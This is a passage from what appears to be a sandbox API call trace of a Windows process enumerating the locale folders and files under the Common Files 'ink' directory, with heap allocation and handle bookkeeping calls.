dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0213.898] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0213.898] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0213.898] GetProcessHeap () returned 0xc10000 [0213.898] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.898] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0213.898] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.899] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.899] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.899] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0213.899] GetProcessHeap () returned 0xc10000 [0213.899] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0213.899] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0213.899] GetProcessHeap () returned 0xc10000 [0213.899] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0213.899] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.899] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.899] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.899] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0213.900] GetProcessHeap () returned 0xc10000 [0213.900] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0213.900] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0213.900] GetProcessHeap () returned 0xc10000 [0213.900] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.900] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d68 [0213.900] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.900] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.900] FindNextFileW (in: hFindFile=0x33e4d68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.900] FindClose (in: hFindFile=0x33e4d68 | out: hFindFile=0x33e4d68) returned 1 [0213.900] GetProcessHeap () returned 0xc10000 [0213.900] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0213.900] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0213.901] GetProcessHeap () returned 0xc10000 [0213.901] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.901] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0213.901] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.901] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.901] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.901] FindClose (in: hFindFile=0x33e4c68 | out: hFindFile=0x33e4c68) returned 1 [0213.901] GetProcessHeap () returned 0xc10000 [0213.901] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0213.901] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0213.901] GetProcessHeap () returned 0xc10000 [0213.902] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.902] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0213.902] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.902] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0213.902] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0213.902] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0213.902] GetProcessHeap () returned 0xc10000 [0213.902] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0213.902] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0213.902] GetProcessHeap () returned 0xc10000 [0213.902] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.926] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0213.940] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.940] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0213.940] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0213.940] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0213.940] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0213.941] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0213.941] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0213.941] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ec5f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7bf3d600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0213.941] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0213.941] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0213.941] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0213.942] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0213.942] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0213.942] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2400, 